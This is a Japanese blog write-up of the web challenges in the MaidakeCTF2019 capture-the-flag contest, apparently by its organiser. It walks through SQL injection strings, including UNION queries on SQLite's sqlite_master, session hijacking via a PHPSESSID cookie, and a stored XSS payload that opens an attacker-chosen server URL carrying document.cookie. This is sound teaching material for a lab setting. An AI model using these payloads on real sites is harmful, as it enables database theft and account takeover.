アオカケスの鳥かご

日々の出来事を綴っていきたい

MaidakeCTF2019 writeup Web編

Web問題のwriteupです。

White flag[50]

URLにアクセスすると真っ白なページが表示されます。

ソースとか見てもFlagは分かりますが、白背景に白文字になっているだけなので反転すればOKです。
f:id:aokakes:20190920161833p:plain

Flag:MaidakeCTF{White_strings_can_be_seen_by_reversing}

2048[100]

2048をプレイできます。
f:id:aokakes:20190920162026p:plain

ゲームオーバーするとFlagがもらえます。
f:id:aokakes:20190920162116p:plain

しかし、実際にプレイしてFlagを得るのは知識が無い人がやることです。
大抵こういうものはJavascriptで動いているので、まずはソースを確認します。


ゲームオーバーの処理をする部分にFlagが書いてあります。
f:id:aokakes:20190920162331p:plain


Flag:MaidakeCTF{Do_not_be_fooled_by_the_look}

Baked goods[100]

無駄にクッキーが並んでいるウザいページです。
f:id:aokakes:20190920162614p:plain

クッキー...cookieということで、cookieを確認します。
f:id:aokakes:20190920162739p:plain


Flag:MaidakeCTF{Beware_of_cookie_theft}

Not hiding[100]

ちゃんとFlagはあるよ、ということでまずはソースを確認します。
f:id:aokakes:20190920162913p:plain

ソースを確認してみると、ぱっと見はとくにFlagは見当たりません。
そんなときはリンク先に飛んでみましょう。大体CSSやJSが怪しいですね。今回はstyle.cssがあるのでこちらに飛んでみます。
f:id:aokakes:20190920163135p:plain

CSSなんて嘘でした。


Flag:MaidakeCTF{I_am_getting_tired_of_thinking_about_flags}

Usual[100]

いつものやつです。
f:id:aokakes:20190920163318p:plain

いかにもSQLインジェクションができそうなフォームがあるので、それっぽく入力してみます。
IDとパスワードの両方に「1' or 1 = 1 -- 」を入力します。
f:id:aokakes:20190920163459p:plain

無事に通ってFlagが表示されます。
f:id:aokakes:20190920163557p:plain

ログイン後のページとかは用意するのが面倒くさかったのでこうなりました。


Flag:MaidakeCTF{Speaking_of_SQL_injection_is_this}

XSS Alert[150]

XSSの問題を作りたくて半ば無理矢理作った問題です。
f:id:aokakes:20190920163819p:plain

入力した内容がボタンの下の攻撃内容のところにそのまま表示してしまうものです。エスケープなんてしてません。

テキトーにアラートを出すスクリプトを入力します。
f:id:aokakes:20190920164035p:plain

まずは普通に入力したスクリプトが動きます。
f:id:aokakes:20190920164057p:plain

OKボタンを押すとアラートでFlagが表示されました。
f:id:aokakes:20190920164122p:plain


Flag:MaidakeCTF{Escape_is_a_simple_but_important_process}

Agent[200]

ユーザーエージェントで認証(?)しているページです。
f:id:aokakes:20190920164335p:plain

ご丁寧にPHPが書いてあるので確認すると、ユーザーエージェントが「Milvas」かどうかを見ているだけのようです。
開発者モードなどでユーザーエージェントをMilvasに変えます。

ChromeならF12→More tools→Network conditions で設定できます。
User agentの「select automatically」のチェックを外して、Customのまま「Milvas」と入力。
f:id:aokakes:20190920164825p:plain

Flagが表示されました。
f:id:aokakes:20190920164855p:plain


Flag:MaidakeCTF{Impersonating_user_agents_is_so_easy}

No form[200]

Agentのときと同様PHPが書いてあります。
f:id:aokakes:20190920164943p:plain

POSTで「oluri」に「so_cute」が入っているとFlagがもらえます。
curlで一発です。

curl -k -X  POST -d 'oluri=so_cute' https://maidakectf2019.aokakes.work/problems/No_form/

Flagが表示されました。
f:id:aokakes:20190920165747p:plain


Flag:MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form}

Hijack[300]

とりあえずアクセスしてみると弾かれてしまいます。
f:id:aokakes:20190920165940p:plain

ソースを見てみてもとくに怪しい部分は見当たりません。...本当にそうでしょうか。
よく見てみると一番上の行に何かコメントアウトしてあります。
f:id:aokakes:20190920170048p:plain

ここで思い出していただきたいのがこの問題のタイトルです。
そう、「Hijack」です。ハイジャック。

セッションハイジャック!!
ということで、この文字列はセッションIDになっています。

あとはcurlなどでセッションIDをこの値にしてアクセスするだけです。

curl -k --cookie "PHPSESSID=8b24jmfhfhssgig2q9n7ockjl7" https://maidakectf2019.aokakes.work/problems/Hijack/

セッションハイジャックが成功しました。
f:id:aokakes:20190920170505p:plain


Flag:MaidakeCTF{Session_management_must_be_done_with_care}

Kancolle Engine[400]

一番作るのに時間がかかったかもしれない問題です。
f:id:aokakes:20190920170843p:plain

まずは例にある通り榛名と入力して検索してみます。
f:id:aokakes:20190920170920p:plain

榛名と榛名改と榛名改二が表示されています。
改と改二も出てきているのでLIKE句を利用していることが分かりますね。

まずはいつものやつをやってみましょう。

1' or 1 = 1 -- 

f:id:aokakes:20190920171306p:plain

いっぱい出てきました。
なんとこれ、自分で1つ1つ入力したんですよ。Excelで。いやぁ~、時間かかりましたねぇ~。


さて、これでSQLインジェクションできることが分かりました。
次の段階です。


どうせinformation_schema.tablesでテーブル確認すればいいんでしょ?と思われた方、いるんじゃないですか?
甘いですね~。

まぁ、一応やっておきましょう。
ちゃんと列数も揃えて以下の通り入力します。

a' UNION SELECT table_name,0,0,0,0 FROM information_schema.tables -- 

f:id:aokakes:20190920171730p:plain

検索結果に何も表示されていません。
よく見るとページの一番下にあるはずのコピーライトも消えています。つまり、途中でPHPがエラーを吐いてHTMLの生成が止まってしまっています。

なぜ動かないのか。それはSQLite3を使っているからです。


なんとSQLite3ではinformation_schemaが使えません。
なのでSQlite3でテーブルを調べるには何を使わないといけないのか調べないといけません。ggりましょう。


ggってみると、sqlite_masterを使えばよいということが分かります。
ということで再度sqlite_masterを使って入力してみます。

a' UNION SELECT name,0,0,0,0 FROM sqlite_master WHERE type='table' ORDER BY name --

f:id:aokakes:20190920173026p:plain

しかし結果は同じで何も表示されません。

ではなぜ動かないのか。
UNIONで動かないときは大体列数が一致していないからです。


見た目に惑わされてはいけません。
表示された結果は5列ですが、ほかにも取ってきているデータがあるかもしれません。

こんなときはソースを確認してみましょう。
f:id:aokakes:20190920173246p:plain

なんということでしょう!ご丁寧にテーブルの構成を残してくれています!


まぁこれだけだと実際に取ってきているデータが何列なのかは分からないのですが、それでも6~11なのは確定しているので総当たりするだけです。
とりあえず全部取ってきていると仮定して11列に調整してUNIONしてみます。

1' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, name FROM sqlite_master WHERE type='table' ORDER BY name -- 

f:id:aokakes:20190920173547p:plain

ついにテーブルが判明しました。flagです。

これで喜んで↓のやつやっちゃった人、いるんじゃないですか~?

1' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, flag FROM flag -- 

残念、何も表示されません。というのもカラム名がflagではないからです。
さすがにそのままFlag取れちゃうとつまらないですから。

ちゃんとカラム名も調べましょう。
MySQLとかだとカラム名を調べるのは簡単ですが、SQLiteだとちょっと面倒になります。

ggってみると「PRAGMA table_info( テーブル名 )」なんていうのが見つかったと思います。
しかし、これはUNIONでくっつけたりしようとすると動きません。

そこで方針を少し変えます。
テーブルの一覧を表示するときに使ったsqlite_masterではテーブルを作成したときのSQL文も調べることができます。


nameをsqlに変えるだけです。

1' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, sql FROM sqlite_master WHERE type='table' ORDER BY name -- 

f:id:aokakes:20190920174406p:plain

カラム名は「this_is_flag」です。


あとはやるだけです。

1' UNION SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, this_is_flag FROM flag -- 

ついにFlagが表示されました。
f:id:aokakes:20190920174533p:plain


Flag:MaidakeCTF{Use_question_mark_placeholders_when_calling_SQL}

Maze[500]

迷路をプレイできるページです。
f:id:aokakes:20190926204535p:plain

青がスタート地点で緑がゴールになっていますが、このままではどう頑張ってもゴールにたどり着けません。
つまりゴールにたどり着くための道を作らないといけません。

URLをよくみると、maze.csvというパラメータがついています。
試しにhoge.csvに変えてみるとファイルが存在しないと怒られます。
f:id:aokakes:20190926204732p:plain

ソースも確認します。

function makeMaze() {
	csv = getParam('maze');
	var req = new XMLHttpRequest();
	req.open("get", csv, true);
	req.send(null);
	
	req.onload = function(){
		var maze = [];
		var tmp = req.responseText.split("\n");
		if (tmp.length != 33) {
			document.getElementById("canvas").innerHTML = "<p class='mt-5'>File does not exist.</p>";
			return;
		}
	 
		for(var i=0;i<tmp.length;++i){
			maze[i] = tmp[i].split(',');
		}
		draw(maze);
		start();
	}
}

makeMaze関数では、csvファイルを読み込むとまず迷路の幅が33かどうかを確認しています。
33以外のときに「File does not exist.」と表示するようになっています。

その後csvファイルを良い感じに調理して整形して迷路を描画しています。


goal関数も確認します。

function goal() {
	sg();
	if (x == 32 && y == 29) {
		$.post('result.php').done(function(data) {
			alert(data);
		});
	}
}

sg関数はあんまり関係ありません。

x=32 かつ y=29 にたどりついたときにresult.phpに飛ばすようです。

ようは以下の条件を満たすcsvファイルを読み込ませればいいのです。

  • 33*33
  • x=32, y=29にたどり着ける


とりあえずmaze.csvをダウンロードして改造します。

maze.csvはこうなっています。

0が移動できるマス、1が壁、2がスタート地点、3がゴールです。

綺麗な解答を作るとするならこんな感じです。

あとはこれを読み込ませるだけです。


しかし、サーバーにファイルをアップロードすることはできません。
なので自前のサーバーに設置したりして、URLを読み込ませる必要があります。

そして意気揚々とURLを指定してページをリロードするとこうなります。
f:id:aokakes:20190926210312p:plain

XMLHttpRequest を使っている場合、Chromeだと外部のURLからファイルを参照しようとするとエラーを吐きます。
f:id:aokakes:20190926210352p:plain

Firefoxならいけました。
f:id:aokakes:20190926210526p:plain

あとはゴールするだけです。
f:id:aokakes:20190926210558p:plain


Flag:MaidakeCTF{If_you_implement_it_poorly_another_file_may_be_screwed_in}


別解として、デベロッパーツールなどで無理やり迷路を書き換えることもできます。
壁判定をcsvファイルを見て行っているわけではないので、簡単です。

詰めが甘かった...

Haiku contest[500]

ちゃんとしたXSSの問題を作ろうと思ってがんばったやつです。

最初はログインページに飛ばされますが登録ページへのリンクがあるので、まずはユーザー登録してログインします。
f:id:aokakes:20190920181214p:plain
f:id:aokakes:20190920181224p:plain

ログインするとこんな感じになっていて、俳句を登録することができます。
まぁ文字数で色々やっているわけではないので何でも登録できます。


何かしら入力して登録すると自分の俳句が表示されるようになります。
f:id:aokakes:20190920181411p:plain

下にある採点ボタンを押すとサーバーが採点してくれます。なお、採点には最長で1分ほどかかるようです。
f:id:aokakes:20190920181450p:plain

少し放置してページを更新してみると採点結果が表示されます。ちなみに100点以外はありません。
f:id:aokakes:20190920181527p:plain


ここまで書いたらもう分かるかと思います。
適当にスクリプト書いて自分で用意したサーバーなりにアクセスさせてcookieを飛ばしましょう。


しかし少しコツが必要で、Flagを持っているサーバーはあくまでも採点ボタンを押さないと見に来てくれません。
なので表示された瞬間に用意したページに飛ばすようにしていると自分がボタンを押すことができません。

そこでlocation.hrefではなくwindo.openなどで簡単にボタンを押せるようにしておくと楽です。
例としてはこんな感じです。

<script>window.open('[自分のサーバー]?q=' + document.cookie)</script>

cookieにFlagが入っていました。
f:id:aokakes:20190920183601p:plain


Flag:MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}

Web問まとめ

Web問題はいかがだったでしょうか。

有名な攻撃手法は大体おさえられていたかなと思います。
本当はディレクトリトラバーサルとかの問題も作りたかったのですが、気づいたら開催直前で諦めました。


個人的にKancolle Engineとか結構お気に入りです。
時間できたときに自分用に使えるように整備しようかな...


Web問題はどの問題も方針が明確なので解きやすかったのではないでしょうか。
楽しんでいただけたのであれば幸いです。